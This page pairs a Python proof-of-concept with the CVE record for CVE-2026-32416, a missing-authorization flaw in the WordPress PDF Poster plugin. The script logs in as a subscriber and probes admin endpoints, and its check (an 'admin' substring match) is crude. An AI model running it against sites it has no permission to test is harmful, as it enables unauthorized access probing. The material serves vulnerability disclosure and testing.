CVE-2026-32416

import requests import sys # CVE-2026-32416 PoC - Missing Authorization in PDF Poster Plugin # Target: WordPress site with PDF Poster plugin <= 2.4.0 def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2026-32416 """ # Setup session with low-privilege user credentials session = requests.Session() # WordPress login endpoint login_url = f"{target_url}/wp-login.php" # Low-privilege user credentials (subscriber role) credentials = { 'log': 'testuser', 'pwd': 'testpassword', 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } try: # Login as low-privilege user login_response = session.post(login_url, data=credentials, timeout=10) if 'wordpress_logged_in' in str(session.cookies): print("[+] Successfully logged in as low-privilege user") # Try to access admin functionality (should be forbidden) admin_endpoints = [ '/wp-admin/admin.php?page=pdf-poster-settings', '/wp-admin/admin-ajax.php?action=pdf_poster_admin_action', '/wp-json/pdf-poster/v1/settings' ] for endpoint in admin_endpoints: response = session.get(f"{target_url}{endpoint}", timeout=10) # Check if access was granted (vulnerability present) if response.status_code == 200 and 'admin' in response.text.lower(): print(f"[VULNERABLE] Endpoint {endpoint} accessible without proper authorization") return True print("[-] Target does not appear to be vulnerable") return False except requests.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] check_vulnerability(target) else: print("Usage: python poc.py http://target.com")

{"cve": {"id": "CVE-2026-32416", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:58.923", "lastModified": "2026-04-22T21:30:26.497", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in bPlugins PDF Poster pdf-poster allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects PDF Poster: from n/a through <= 2.4.0."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en bPlugins PDF Poster pdf-poster permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a PDF Poster: desde n/a hasta &lt;= 2.4.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/pdf-poster/vulnerability/wordpress-pdf-poster-plugin-2-4-0-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}